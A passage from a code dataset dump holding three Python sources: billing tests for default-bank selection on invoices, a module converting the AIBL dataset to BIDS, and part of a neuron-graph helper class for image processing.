rows=[ob.BasketItemBuilder(quantity=1, order=order)]\n )\n )\n invoice = ob.InvoiceBuilder(\n client=client,\n person=person,\n paysys=paysys,\n request=request,\n ).build(session).obj\n session.expire_all()\n return invoice\n\n\ndef create_client_bank(session, client, bank, firm, person_category='ur'):\n return ob.ClientBankBuilder(\n client=client,\n person_category=person_category,\n payment_bank=bank,\n firm=firm,\n ).build(session).obj\n\n\n@pytest.fixture\ndef rules():\n old_rules = default_bank_rules.PARSER.rules\n new_rules = []\n\n default_bank_rules.PARSER.rules = new_rules\n yield new_rules\n default_bank_rules.PARSER.rules = old_rules\n\n\n@pytest.fixture\ndef firm(session):\n return create_firm(session)\n\n\n@pytest.fixture\ndef paysys_ph(session, firm):\n return create_paysys(session, firm, 'ph')\n\n\n@pytest.fixture\ndef paysys_ur(session, firm):\n return create_paysys(session, firm, 'ur')\n\n\n@pytest.fixture\ndef client(session):\n return ob.ClientBuilder().build(session).obj\n\n\n@pytest.fixture\ndef client_aliases(session, client):\n res = []\n for idx in range(3):\n res.append(ob.ClientBuilder.construct(session))\n res[-1].make_equivalent(client)\n return res\n\n\ndef test_no_bank_details(session, client, firm, paysys_ur):\n i = create_invoice(session, client, 'ur', firm.id)\n assert i.bank_id is None\n assert i.bank_details_id is None\n assert not client.banks\n\n\ndef test_no_rules_single_bank(session, client, firm, paysys_ur):\n bd = create_bank_details(session, firm)\n create_bank_details(session, firm, currency='USD')\n create_bank_details(session, create_firm(session))\n i = create_invoice(session, client, 'ur', firm.id)\n\n assert i.bank_details_id == bd.id\n client_bank, = client.banks\n assert client_bank.bank_id == bd.bank_id\n assert client_bank.firm_id == firm.id\n assert client_bank.person_category == 'ur'\n\n\ndef test_no_rules_multiple_banks(session, client, firm, paysys_ur):\n create_bank_details(session, firm)\n bd = create_bank_details(session, firm)\n\n with mock.patch('balance.mapper.invoices.random.choice', return_value=bd.bank_id):\n i = create_invoice(session, client, 'ur', firm.id)\n\n assert i.bank_details_id == bd.id\n client_bank, = client.banks\n assert client_bank.bank_id == bd.bank_id\n assert client_bank.firm_id == firm.id\n assert client_bank.person_category == 'ur'\n\n\ndef test_rules_single_allowed(session, client, rules, firm, paysys_ur):\n create_bank_details(session, firm)\n bd = create_bank_details(session, firm)\n rules.append({'firm_id': [firm.id], 'bank_ids': {bd.bank_id: None}})\n\n i = create_invoice(session, client, 'ur', firm.id)\n\n assert i.bank_details_id == bd.id\n client_bank, = client.banks\n assert client_bank.bank_id == bd.bank_id\n assert client_bank.firm_id == firm.id\n assert client_bank.person_category == 'ur'\n\n\ndef test_rules_multiple_allowed(session, client, rules, firm, paysys_ur):\n bd1 = create_bank_details(session, firm)\n bd2 = create_bank_details(session, firm)\n bd3 = create_bank_details(session, firm)\n rules.append({'firm_id': [firm.id], 'bank_ids': {bd1.bank_id: None, bd2.bank_id: None, bd3.bank_id: None}})\n\n with mock.patch('balance.mapper.invoices.random.choice', return_value=bd1.bank_id):\n i = create_invoice(session, client, 'ur', firm.id)\n\n assert i.bank_details_id == bd1.id\n client_bank, = client.banks\n assert client_bank.bank_id == bd1.bank_id\n assert client_bank.firm_id == firm.id\n assert client_bank.person_category == 'ur'\n\n\ndef test_rules_multiple_allowed_weighted(session, client, rules, firm, paysys_ur):\n bd1 = create_bank_details(session, firm)\n bd2 = create_bank_details(session, firm)\n bd3 = create_bank_details(session, firm)\n rules.append({'firm_id': [firm.id], 'bank_ids': {bd1.bank_id: 6, bd2.bank_id: 66, bd3.bank_id: 666}})\n\n with mock.patch('balance.muzzle_util.weighted_choice', return_value=bd1.bank_id):\n i = create_invoice(session, client, 'ur', firm.id)\n\n assert i.bank_details_id == bd1.id\n client_bank, = client.banks\n assert client_bank.bank_id == bd1.bank_id\n assert client_bank.firm_id == firm.id\n assert client_bank.person_category == 'ur'\n\n\ndef test_cache_matching_no_rules(session, client, firm, paysys_ur):\n create_bank_details(session, firm)\n bd = create_bank_details(session, firm)\n\n client_bank = create_client_bank(session, client, bd.payment_bank, firm)\n\n i = create_invoice(session, client, 'ur', firm.id)\n\n assert i.bank_details_id == bd.id\n assert client.banks == [client_bank]\n\n\ndef test_cache_matching_rules(session, client, rules, firm, paysys_ur):\n bd = create_bank_details(session, firm)\n bd_alt = create_bank_details(session, firm)\n create_bank_details(session, firm)\n\n client_bank = create_client_bank(session, client, bd.payment_bank, firm)\n rules.append({'firm_id': [firm.id], 'bank_ids': {bd.bank_id: None, bd_alt.bank_id: None}})\n\n i = create_invoice(session, client, 'ur', firm.id)\n\n assert i.bank_details_id == bd.id\n assert client.banks == [client_bank]\n\n\ndef test_cache_unmatching_no_rules(session, client, firm, paysys_ur):\n bd = create_bank_details(session, firm)\n alt_bank = create_bank(session)\n\n client_bank = create_client_bank(session, client, alt_bank, firm)\n\n i = create_invoice(session, client, 'ur', firm.id)\n\n assert i.bank_details_id == bd.id\n assert client.banks == [client_bank]\n assert client_bank.bank_id == bd.bank_id\n\n\ndef test_cache_unmatching_rules(session, client, rules, firm, paysys_ur):\n bd = create_bank_details(session, firm)\n bd_alt = create_bank_details(session, firm)\n\n client_bank = create_client_bank(session, client, bd_alt.payment_bank, firm)\n rules.append({'firm_id': [firm.id], 'bank_ids': {bd.bank_id: None}})\n\n i = create_invoice(session, client, 'ur', firm.id)\n\n assert i.bank_details_id == bd.id\n assert client.banks == [client_bank]\n assert client_bank.bank_id == bd.bank_id\n\n\ndef test_cache_w_aliases_matched(session, client, client_aliases, firm, paysys_ur):\n bd = create_bank_details(session, firm)\n create_bank_details(session, firm)\n client_banks = []\n for alias in client_aliases:\n client_banks.append(create_client_bank(session, alias, bd.payment_bank, firm))\n\n i = create_invoice(session, client, 'ur', firm.id)\n\n assert i.bank_details_id == bd.id\n assert all(cb.client in client_aliases for cb in client.banks)\n\n\ndef test_cache_w_aliases_unmatched(session, client, client_aliases, firm, paysys_ur):\n bd = create_bank_details(session, firm)\n alt_bank = create_bank(session)\n client_banks = []\n for alias in client_aliases:\n client_banks.append(create_client_bank(session, alias, alt_bank, firm))\n\n i = create_invoice(session, client, 'ur', firm.id)\n\n client_banks.sort(key=lambda cb: cb not in session)\n assert i.bank_details_id == bd.id\n assert client_banks[0].client_id == client.id\n assert client_banks[0].bank_id == bd.bank_id\n assert all(cb not in session for cb in client_banks[1:])\n\n\ndef test_cache_wo_firm_matched(session, client, client_aliases, firm, paysys_ur):\n bd = create_bank_details(session, firm)\n\n client_bank = create_client_bank(session, client, bd.payment_bank, None)\n\n i = create_invoice(session, client, 'ur', firm.id)\n\n assert i.bank_details_id == bd.id\n assert client.banks == [client_bank]\n assert client_bank.firm_id == firm.id\n\n\ndef test_cache_wo_firm_unmatched(session, client, client_aliases, firm, paysys_ur):\n bd = create_bank_details(session, firm)\n alt_bank = create_bank(session)\n\n client_bank = create_client_bank(session, client, alt_bank, None)\n\n i = create_invoice(session, client, 'ur', firm.id)\n\n assert i.bank_details_id == bd.id\n assert client.banks == [client_bank]\n assert client_bank.bank_id == bd.bank_id\n assert client_bank.firm_id == firm.id\n\n\ndef test_cache_wo_firm_unmatched_multiple(session, client, client_aliases, firm, paysys_ur):\n \"\"\"\n У клиента существует 2 ClientBank, и оба с неправильным банком.\n После вызова Invoice.update_bank_id должен остаться один из них (случайный).\n Ему должен проставится правильный bank_id и фирма.\n Второй ClientBank (лишний) должен быть удален.\n \"\"\"\n bd = create_bank_details(session, firm)\n alt_bank1 = create_bank(session)\n alt_bank2 = create_bank(session)\n\n client_bank = create_client_bank(session, client, alt_bank1, firm)\n client_bank_alt = create_client_bank(session, client, alt_bank2, None)\n\n i = create_invoice(session, client, 'ur', firm.id)\n\n assert i.bank_details_id == bd.id\n assert len(client.banks) == 1\n chosen_client_bank = client.banks[0]\n assert chosen_client_bank in (client_bank, client_bank_alt)\n assert chosen_client_bank.bank_id == bd.bank_id\n assert chosen_client_bank.firm_id == firm.id\n excess_client_bank = client_bank_alt if chosen_client_bank is client_bank else client_bank\n assert excess_client_bank not in session\n\n\ndef test_yinvoice_new_bank(session, rules):\n bank_details = (\n session.query(mapper.BankDetails)\n .filter_by(currency='RUR', firm_id=1)\n .order_by(mapper.BankDetails.id)\n .first()\n )\n rules.append({'person_type': 'ur', 'bank_ids': {bank_details.bank_id: None}})\n\n client = ob.ClientBuilder(is_agency=True).build(session).obj\n subclient = ob.ClientBuilder(agency=client).build(session).obj\n contract = ob.ContractBuilder(\n dt=datetime.datetime.now() - datetime.timedelta(days=66),\n client=client,\n person=ob.PersonBuilder(client=client, type='ur'),\n commission=1,\n payment_type=3,\n credit_type=1,\n payment_term=30,\n payment_term_max=60,\n personal_account=1,\n personal_account_fictive=1,\n currency=810,\n lift_credit_on_payment=1,\n commission_type=57,\n repayment_on_consume=1,\n credit_limit_single=1666666,\n services={7},\n is_signed=datetime.datetime.now(),\n firm=1,\n ).build(session).obj\n session.flush()\n\n order = ob.OrderBuilder(\n product=ob.Getter(mapper.Product, DIRECT_PRODUCT_ID),\n client=subclient, agency=client,\n ).build(session).obj\n basket = ob.BasketBuilder(\n client=contract.client,\n rows=[ob.BasketItemBuilder(quantity=6666, order=order)]\n )\n\n paysys = session.query(mapper.Paysys).filter_by(firm_id=FirmId.YANDEX_OOO).getone(cc='ur')\n pa = ob.PayOnCreditCase(session).pay_on_credit(basket, contract, paysys)[0]\n # симулируем случай когда закешированных банков нет\n session.delete(client.banks[0])\n session.flush()\n session.expire(client, ['banks'])\n\n order.calculate_consumption(datetime.datetime.now() - datetime.timedelta(days=32), {order.shipment_type: 100})\n act_accounter = a_a.ActAccounter(\n contract.client, a_a.ActMonth(for_month=datetime.datetime.now()),\n force=True, dps=[], invoices=[pa.id]\n )\n act, = act_accounter.do(skip_cut_agava=True)\n invoice = act.invoice\n\n assert invoice.bank_details_id == bank_details.id\n assert [cb.bank_id for cb in client.banks] == [bank_details.bank_id]\n","repo_name":"Alexander-Berg/2022-tests-examples","sub_path":"billing/balance_tests/invoices/test_default_bank.py","file_name":"test_default_bank.py","file_ext":"py","file_size_in_byte":13368,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"32871335196","text":"# coding: utf8\n\n\"\"\"\nConvert the AIBL dataset (http://www.aibl.csiro.au/) into BIDS.\n\"\"\"\n\n__author__ = \"Simona Bottani\"\n__copyright__ = \"Copyright 2016-2019 The Aramis Lab Team\"\n__credits__ = [\"Simona Bottani\"]\n__license__ = \"See LICENSE.txt file\"\n__version__ = \"0.1.0\"\n__maintainer__ = \"Simona Bottani\"\n__email__ = \"simona.bottani@icm-institute.org\"\n__status__ = \"Development\"\n\n\ndef convert_images(path_to_dataset, path_to_csv, bids_dir):\n\n # Conversion of the entire dataset in BIDS\n from clinica.utils.stream import cprint\n from os.path import exists\n from colorama import Fore\n\n from clinica.iotools.converters.aibl_to_bids.aibl_utils import paths_to_bids\n list_of_created_files = []\n\n for modality in ['t1', 'av45', 'flute', 'pib']:\n list_of_created_files.append(paths_to_bids(path_to_dataset,\n path_to_csv,\n bids_dir,\n modality))\n\n error_string = ''\n for modality_list in list_of_created_files:\n for file in modality_list:\n if not exists(str(file)):\n error_string = error_string + str(file) + '\\n'\n if error_string != '':\n cprint(Fore.RED + 'The following file were not converted '\n + ' (nan means no path was found):\\n'\n + error_string\n + Fore.RESET)\n\n\ndef convert_clinical_data(bids_dir, path_to_csv):\n from os.path import exists\n # clinical specifications in BIDS\n from os.path import join, split, realpath\n from clinica.iotools.converters.aibl_to_bids.aibl_utils import create_participants_df_AIBL, \\\n create_sessions_dict_AIBL\n\n clinical_spec_path = join(split(realpath(__file__))[0], '../../data/clinical_specifications.xlsx')\n if not exists(clinical_spec_path):\n raise FileNotFoundError(clinical_spec_path + ' file not found ! This is an internal file of Clinica.')\n\n create_participants_df_AIBL(bids_dir, clinical_spec_path, path_to_csv, delete_non_bids_info=True)\n create_sessions_dict_AIBL(bids_dir, path_to_csv, clinical_spec_path)\n","repo_name":"adamwild/clinica","sub_path":"clinica/iotools/converters/aibl_to_bids/aibl_to_bids.py","file_name":"aibl_to_bids.py","file_ext":"py","file_size_in_byte":2155,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"3"} +{"seq_id":"14270076656","text":"import numpy as np\nimport networkx as nx\n\nfrom .sentive_vision_neuron import sentive_vision_neuron\nfrom .sentive_sequence_nrn import sentive_sequence_nrn\n\nclass sentive_neuron_helper():\n def __init__(self):\n \n self.init_matrix = []\n self.init_matrix.append( np.array([[1, 0, -1],[1, 0, -1],[1, 0, -1]]))\n self.init_matrix.append( np.array([[1, 1, 1],[0, 0, 0],[-1, -1, -1]]))\n self.init_matrix.append( np.array([[1, 1, 0],[1, 0, -1],[0, -1, -1]]))\n self.init_matrix.append( np.array([[0, -1, -1],[1, 0, -1],[1, 1, 0]]))\n\n\n self.dir_matrix = np.array([[1, 1, 1],[1, 0, 1],[1, 1, 1]])\n\n\n self.ok_conf = []\n self.ok_conf.append( np.array([[1, 0, -1],[0, 1, 0],[0, 0, 0]]))\n self.ok_conf.append( np.array([[1, 0, 0],[0, 1, -1],[0, 0, 0]]))\n self.ok_conf.append( np.array([[1, 0, 0],[0, 1, 0],[0, 0, -1]]))\n \n self.ok_conf.append( np.array([[0, 0, -1],[1, 1, 0],[0, 0, 0]]))\n self.ok_conf.append( np.array([[0, 0, 0],[1, 1, -1],[0, 0, 0]]))\n self.ok_conf.append( np.array([[0, 0, 0],[1, 1, 0],[0, 0, -1]]))\n \n self.ok_conf.append( np.array([[0, 0, -1],[0, 1, 0],[1, 0, 0]]))\n self.ok_conf.append( np.array([[0, 0, 0],[0, 1, -1],[1, 0, 0]]))\n self.ok_conf.append( np.array([[0, 0, 0],[0, 1, 0],[1, 0, -1]]))\n \n self.ok_conf.append( np.array([[0, 0, 1],[0, 1, 0],[0, 0, -1]]))\n self.ok_conf.append( np.array([[0, 1, 0],[0, 1, 0],[0, 0, -1]]))\n \n self.ok_conf.append( np.array([[1, 0, 0],[0, 1, 0],[0, -1, 0]]))\n self.ok_conf.append( np.array([[0, 1, 0],[0, 1, 0],[0, -1, 0]]))\n \n self.ok_conf.append( np.array([[1, 0, 0],[0, 1, 0],[-1, 0, 0]]))\n self.ok_conf.append( np.array([[0, 1, 0],[0, 1, 0],[-1, 0, 0]]))\n \n self.lst_nrns = []\n self.id_nrn = 0 # id max des neurones\n self.nb_nrns = 0 # nb de neurones dans le tableau (sans avoir à utiliser la fonction len)\n \n # https://networkx.org/documentation/stable/tutorial.html\n self.netGraph = nx.Graph()\n\n self.layer_nb = 0\n self.layer_graph = []\n\n self.nb_2_1st_layers = 0\n\n\n def new_layer(self):\n self.layer_nb +=1\n self.layer_graph.append(nx.DiGraph())\n\n \n def add_edge(self, nrn1_id, nrn2_id):\n self.netGraph.add_edge(nrn1_id, nrn2_id)\n if self.layer_nb>0:\n self.layer_graph[self.layer_nb-1].add_edge(nrn1_id, nrn2_id)\n\n\n def increment_weight(self, nrn, nrn_post_synaptic_id):\n try:\n nrn[\"DbConnectivity\"][\"weights\"][nrn_post_synaptic_id] += 1\n except KeyError:\n nrn[\"DbConnectivity\"][\"weights\"][nrn_post_synaptic_id] = 1\n\n \n def add_new_nrn(self, nrn_type=''):\n \"\"\"Ajoute un nouveau neurone au pool (remplace la base de données MongoDB de Sentive AI en mode non cloud)\n\n Returns:\n [int]: [identifiant du nouveau neurone créé]\n \"\"\"\n self.id_nrn += 1\n if nrn_type=='':\n self.lst_nrns.append(sentive_vision_neuron(self.id_nrn))\n else:\n self.lst_nrns.append(sentive_sequence_nrn(self.id_nrn))\n \n self.netGraph.add_node(self.id_nrn)\n\n if self.layer_nb>0:\n self.layer_graph[self.layer_nb-1].add_node(self.id_nrn)\n\n self.nb_nrns = len(self.lst_nrns)\n self.lst_nrns[self.nb_nrns-1].neuron[\"layer_id\"] = self.layer_nb\n\n return self.nb_nrns - 1\n \n \n def FctIterMean(self, Nb_activations, NewAct, avgValue):\n \"\"\"Calcule la Moyenne itérative\n\n Args:\n Nb_activations ([int]): [nb de valeur intégrée dans la moyenne précédente]\n NewAct ([float]): [Nouvelle valeur à intégrer à la moyenne]\n avgValue ([float]): [valeur moyenne précédemment calculée]\n\n Returns:\n [float]: [nouvelle moyenne]\n \"\"\"\n Nb_activations = int(Nb_activations)\n NewAct = float(NewAct)\n avgValue = float(avgValue)\n return ((Nb_activations - 1) / Nb_activations\n * avgValue + NewAct / Nb_activations)\n \n \n def get_x_matrix(self, size):\n size = int(size)\n if size>=2:\n output = np.array([np.arange(size),np.arange(size)])\n else:\n return np.array(np.arange(size))\n for i in range(2,size):\n output = np.append(output,[np.arange(size)],axis=0)\n return output\n\n \n def get_y_matrix(self, size):\n size = int(size)\n if size>=2:\n output = np.array([np.ones(size)*0,np.ones(size)*1])\n else:\n return np.array(np.arange(size))\n for i in range(2,size):\n output = np.append(output,[np.ones(size)*i],axis=0)\n return output\n \n \n def get_matrix_center(self, size):\n \"\"\"Retourne les coordonnées du centre de la matrice de taille \"size\"\n\n Args:\n size ([int]): [de prédérence une matrice carré de taille impaire]\n\n Returns:\n [int]: [coordonnées x et y du centre de la matrice carré impaire]\n \"\"\"\n return np.floor(size/2)\n \n \n def get_receptive_field(self, local_neuron, current_vision):\n \"\"\"\n \n \"\"\"\n min_val_y = int(local_neuron[\"meta\"][\"center\"][\"y\"] - np.floor(\n local_neuron[\"meta\"][\"matrix_width\"]/2))\n max_val_y = int(local_neuron[\"meta\"][\"center\"][\"y\"] + np.ceil(\n local_neuron[\"meta\"][\"matrix_width\"]/2))\n min_val_x = int(local_neuron[\"meta\"][\"center\"][\"x\"] - np.floor(\n local_neuron[\"meta\"][\"matrix_width\"]/2))\n max_val_x = int(local_neuron[\"meta\"][\"center\"][\"x\"] + np.ceil(\n local_neuron[\"meta\"][\"matrix_width\"]/2))\n return current_vision[min_val_y:max_val_y, min_val_x:max_val_x, 0]\n \n\n def get_all_center_fields(self, list_neurons, current_vision):\n \"\"\"\n Retourne l'image avec les centres des neurones surlignés\n Pour l'ensemble des neurones\n \"\"\"\n nb = 0\n for sent_neuron in list_neurons:\n neuron = sent_neuron.neuron[\"meta\"]\n current_vision[neuron[\"center\"][\"y\"],neuron[\"center\"][\"x\"]] = 5 #* current_vision[neuron[\"center\"][\"y\"],neuron[\"center\"][\"x\"]]\n nb += 1\n print(nb,\"neurons\")\n return current_vision\n \n \n def get_all_center_fields_width(self, list_neurons, current_vision, lint_width=5):\n \"\"\"\n Retourne l'image avec les centres des neurones surlignés\n Il faut spécifier la couche des neurones sélectionnés\n \"\"\"\n nb = 0\n for sent_neuron in list_neurons:\n neuron = sent_neuron.neuron[\"meta\"]\n if neuron[\"matrix_width\"] == lint_width:\n current_vision[neuron[\"center\"][\"y\"],neuron[\"center\"][\"x\"]] = 5 #* current_vision[neuron[\"center\"][\"y\"],neuron[\"center\"][\"x\"]]\n nb += 1\n print(nb,\"neurons\")\n return current_vision\n\n \n def get_neuron_receptive_field(self, nrn_id, current_vision, neurons_pool=-1, verbose=False):\n \"\"\"Retourne le champs récepteur du neurone sur la matrice current_vision.\n\n Args:\n current_vision ([type]): [description]\n nrn_id ([type]): [description]\n neurons_pool (int, optional): [description]. Defaults to -1.\n verbose (bool, optional): [description]. Defaults to False.\n\n Returns:\n [matrice]: [matrice contenant la position du champs récepteur du neurone nrn_id]\n \"\"\"\n\n if neurons_pool==-1:\n neurons_pool = self.lst_nrns\n \n # récupère le neurone visé\n crnt_nrn = self.get_neuron_from_id(nrn_id, neurons_pool)\n # récupère la liste des \n try:\n lst_nrn = crnt_nrn[\"meta\"][\"field_list\"]\n except KeyError:\n lst_nrn = crnt_nrn[\"DbConnectivity\"][\"pre_synaptique\"]\n \n # récupère le neurone pour chaque id de la liste\n nb = 0\n for sensor_id in lst_nrn:\n neuron = self.get_neuron_from_id(sensor_id, neurons_pool)\n current_vision[neuron[\"meta\"][\"center\"][\"y\"],neuron[\"meta\"][\"center\"][\"x\"]] = 5\n nb +=1\n if verbose:\n print(nb, \"pixels\")\n print(crnt_nrn)\n return current_vision\n \n \n def update_coord(self, previous):\n \"\"\"\n lorsqu'on augmente la taille de la matrice de +2\n Toutes les coordonnées relatives à la taille précédente doivent être modifiées grace \n à cette fonction.\n \"\"\"\n previous[\"x\"] += 1\n previous[\"y\"] += 1\n return previous\n \n \n def rotate_vector(self, vector, angle_rotation):\n \"\"\"Retourne les coordonnées du vector après rotation\n TODO: cette fonction n'est semble t'il jamais appelée\n\n Args:\n vector ([struct]): [structure contenant les coordonnées (x,y) d'un vecteur]\n angle_rotation ([float]): [exprimé en radian]\n\n Returns:\n [type]: [description]\n \"\"\"\n output_vector = {\n \"x\":0,\n \"y\":0\n }\n output_vector[\"x\"] = np.around(vector[\"x\"] * np.cos(angle_rotation) - vector[\"y\"] * np.sin(angle_rotation))\n output_vector[\"y\"] = np.around(vector[\"x\"] * np.sin(angle_rotation) + vector[\"y\"] * np.cos(angle_rotation))\n return output_vector\n \n \n def anti_rotate_vector(self, vector, angle_rotation):\n output_vector = {\n \"x\":0,\n \"y\":0\n }\n output_vector[\"x\"] = np.around(vector[\"x\"] * np.cos(angle_rotation) + vector[\"y\"] * np.sin(angle_rotation))\n output_vector[\"y\"] = np.around(vector[\"y\"] * np.cos(angle_rotation) - vector[\"x\"] * np.sin(angle_rotation))\n return output_vector\n \n \n def get_pos_from_id(self, neuron_idx2, neurons_pool=-1):\n \"\"\"\n retourne la position dans la tableau à partir du neuron_id\n \"\"\"\n if neurons_pool==-1:\n neurons_pool = self.lst_nrns\n for neuron_idx in range(len(neurons_pool)):\n if neurons_pool[neuron_idx].neuron[\"_id\"]==neuron_idx2:\n break\n return neuron_idx\n \n \n def get_neuron_from_id(self, neuron_idx2, neurons_pool=-1):\n \"\"\"\n retourne le neurone à partir de son neuron_id \"_id\"\n \"\"\"\n if neurons_pool==-1:\n neurons_pool = self.lst_nrns\n for neuron_idx in range(len(neurons_pool)):\n if neurons_pool[neuron_idx].neuron[\"_id\"]==neuron_idx2:\n return neurons_pool[neuron_idx].neuron\n return ''\n \n \n def get_avg_center(self, list_neuron_ids, neurons_pool=-1):\n \"\"\"\n retourne la moyenne des centres à partir des neurones_id passés en paramètres\n \"\"\"\n if neurons_pool==-1:\n neurons_pool = self.lst_nrns\n \n list_x = []\n list_y = []\n\n output={\n \"center\":{\n \"x\":0,\n \"y\":0\n },\n \"real_center\":{\n \"x\":0,\n \"y\":0\n }\n }\n\n for int_id in list_neuron_ids:\n current_neuron = self.get_neuron_from_id(int_id, neurons_pool)\n list_x.append(current_neuron[\"meta\"][\"center\"][\"x\"])\n list_y.append(current_neuron[\"meta\"][\"center\"][\"y\"])\n\n output[\"real_center\"][\"y\"]=np.mean(list_y)\n output[\"real_center\"][\"x\"]=np.mean(list_x)\n\n output[\"center\"][\"x\"]= int(np.round(output[\"real_center\"][\"x\"]))\n output[\"center\"][\"y\"] = int(np.round(output[\"real_center\"][\"y\"]))\n return output\n\n \n def calc_angle(self, vector1, vector2):\n # calcul de l'angle de rotation entre les deux vecteurs passés en paramètres\n np_c_1 = np.array([vector1[\"x\"], vector1[\"y\"]])\n np_c_2 = np.array([vector2[\"x\"], vector2[\"y\"]])\n np_c_3 = np.array([-vector1[\"y\"], vector1[\"x\"]])\n signe = 1\n test = np.sum(np.multiply(np_c_3,np_c_2))\n if test < 0 :\n signe = -1\n return signe * np.arccos(np.sum(np.multiply(np_c_1,np_c_2))/(np.sqrt(np.sum(np.power(np_c_1,2)))*np.sqrt(np.sum(np.power(np_c_2,2)))))\n \n \n def calc_dist(self, point1, point2):\n \"\"\"Calcule la distance entre deux points\n\n Args:\n point1 ([struct]): [description]\n point2 ([struct]): [description]\n\n Returns:\n [float]: [distance exprimé dans la même unités que les coordonnées des points passés en paramètres]\n \"\"\"\n X_D = pow(point1[\"x\"] - point2[\"x\"],2)\n Y_D = pow(point1[\"y\"] - point2[\"y\"],2)\n return pow(X_D+Y_D,0.5)\n\n\n def calc_total_distance(self, nrn_list, neurons_pool=-1):\n output_total = 0\n if neurons_pool==-1:\n neurons_pool = self.lst_nrns\n nrn = self.get_neuron_from_id(nrn_list[0], neurons_pool)\n point1 = nrn[\"meta\"][\"center\"]\n for nrn_pos in range(1, len(nrn_list)):\n nrn_id = nrn_list[nrn_pos]\n nrn = self.get_neuron_from_id(nrn_id, neurons_pool)\n point2 = nrn[\"meta\"][\"center\"]\n sub_dist = self.calc_dist(point1, point2)\n output_total += sub_dist\n point1 = point2\n return output_total\n\n\n def get_gbl_orientO(self, nrn):\n hand_1 = nrn[\"meta\"][\"local_tip_1\"]\n hand_2 = nrn[\"meta\"][\"local_tip_2\"]\n v_outpt = {\"x\":0,\"y\":0}\n \n if hand_1[\"x\"]< hand_2[\"x\"]:\n v_outpt[\"x\"] = hand_2[\"x\"] - hand_1[\"x\"]\n v_outpt[\"y\"] = hand_2[\"y\"] - hand_1[\"y\"]\n elif hand_1[\"x\"] > hand_2[\"x\"]:\n v_outpt[\"x\"] = hand_1[\"x\"] - hand_2[\"x\"]\n v_outpt[\"y\"] = hand_1[\"y\"] - hand_2[\"y\"]\n elif hand_1[\"y\"]< hand_2[\"y\"]:\n v_outpt[\"x\"] = hand_2[\"x\"] - hand_1[\"x\"]\n v_outpt[\"y\"] = hand_2[\"y\"] - hand_1[\"y\"]\n elif hand_1[\"y\"] > hand_2[\"y\"]:\n v_outpt[\"x\"] = hand_1[\"x\"] - hand_2[\"x\"]\n v_outpt[\"y\"] = hand_1[\"y\"] - hand_2[\"y\"]\n return v_outpt\n\n \n def get_global_orientation(self, nrn_id, neurons_pool=-1):\n \"\"\"Retourne le vecteur allant directement d'une extrémité à l'autre\n du champs récepteur du neurone\n Globalement orienté de gauche à droite et sinon de bas en haut.\n\n Args:\n nrn_id (int): identifiant du neurone\n neurons_pool (list, optional): base de données des neurones. Defaults to -1.\n\n Returns:\n struct: vecteyr donnant l'orientation générale\n \"\"\"\n if neurons_pool==-1:\n neurons_pool = self.lst_nrns\n\n nrn = self.get_neuron_from_id(nrn_id, neurons_pool)\n\n return self.get_gbl_orientO(nrn)\n \n \n \n def raw_rotate_vector(self, vector, angle_rotation):\n \"\"\"\n Retourne un angle après rotation\n Ne fait pas d'arrondi contrairement à l'autre fonction rotate_vector\n \"\"\"\n output_vector = {\n \"x\":0,\n \"y\":0\n }\n output_vector[\"x\"] = vector[\"x\"] * np.cos(angle_rotation) - vector[\"y\"] * np.sin(angle_rotation)\n output_vector[\"y\"] = vector[\"x\"] * np.sin(angle_rotation) + vector[\"y\"] * np.cos(angle_rotation)\n return output_vector\n \n \n def nrn_drwr(self, mtrx, vector, angle, length, start):\n \"\"\"\n Dessine un segment de courbe\n ============================\n En plus de la matrice dans laquelle il va dessiner, il ne prend que 4 paramètres.\n Le vecteur de départ, angle de rotation, la longueur (ou le nombre d'itérations).\n Et le point de départ.\n\n \"\"\"\n mtrx[start[\"y\"]][start[\"x\"]] = 1\n new_pos = {\"x\": start[\"x\"], \"y\": start[\"y\"]}\n tmp_pos = {\"x\": start[\"x\"], \"y\": start[\"y\"]}\n tmp_pos[\"x\"] = new_pos[\"x\"]+vector[\"x\"]\n new_pos[\"x\"] = int(round(tmp_pos[\"x\"]))\n tmp_pos[\"y\"] = new_pos[\"y\"]+vector[\"y\"]\n new_pos[\"y\"] = int(round(tmp_pos[\"y\"]))\n mtrx[new_pos[\"y\"]][new_pos[\"x\"]] = 1\n angle = angle / 2\n\n for i in range(length-1):\n # rotate vector\n vector = self.raw_rotate_vector(vector, angle)\n tmp_pos[\"x\"] = tmp_pos[\"x\"]+vector[\"x\"]\n new_pos[\"x\"] = int(round(tmp_pos[\"x\"]))\n tmp_pos[\"y\"] = tmp_pos[\"y\"]+vector[\"y\"]\n new_pos[\"y\"] = int(round(tmp_pos[\"y\"]))\n mtrx[new_pos[\"y\"]][new_pos[\"x\"]] = 1\n\n return mtrx\n\n\n def get_list_presyn(self, lst_nrn, neurons_pool=-1):\n \"\"\"retourne la liste des neurones pre_synaptique à partir d'une liste d'Identifiant et \n\n Args:\n lst_nrn ([list de integer]): [id des neurones]\n neurons_pool ([list de sentive_vision_neurons]): [base de données des neurones dans laquelle chercher]\n\n Returns:\n [list d'integer]: [les id des neurones présynaptique pour tous les neurones passés en entrée]\n \"\"\"\n if neurons_pool==-1:\n neurons_pool = self.lst_nrns\n lst_output = []\n for nrn_id in lst_nrn:\n lst_output.extend(self.get_neuron_from_id(nrn_id, neurons_pool)[\"DbConnectivity\"][\"pre_synaptique\"])\n # lst_output = list(set(lst_output.sort()))\n return lst_output\n \n\n def intersect_presyn_field_list(self, nrn_id_1, nrn_id_2, neurons_pool=-1):\n if neurons_pool==-1:\n neurons_pool = self.lst_nrns\n lst_nrn_1 = self.get_neuron_from_id(nrn_id_1, neurons_pool)[\"meta\"][\"field_list\"]\n # print(\"lst_nrn_1\",lst_nrn_1)\n list1 = self.get_list_presyn(lst_nrn_1, neurons_pool)\n lst_nrn_2 = self.get_neuron_from_id(nrn_id_2, neurons_pool)[\"meta\"][\"field_list\"]\n list2 = self.get_list_presyn(lst_nrn_2, neurons_pool)\n return list(set(list1).intersection(list2))\n\n\n def calc_tips(self, neuron_id, neurons_pool=-1):\n \"\"\"A partir de real_center calcule les distances avec chaque point de field list\n sélectionne les 2 neurones les plus éloignés du centre.\n Ce sont a priori les extrémités du segment.\n\n Args:\n neuron ([sentive_vision_neuron]): [description]\n\n Returns:\n [sentive_vision_neuron]: [modifié avec les bonnes informations des tips]\n \"\"\"\n output = {\n \"local_tip_1\":{\n \"x\":0,\n \"y\":0\n },\n \"vector_1\":{\n \"x\":0,\n \"y\":0\n },\n \"local_tip_2\":{\n 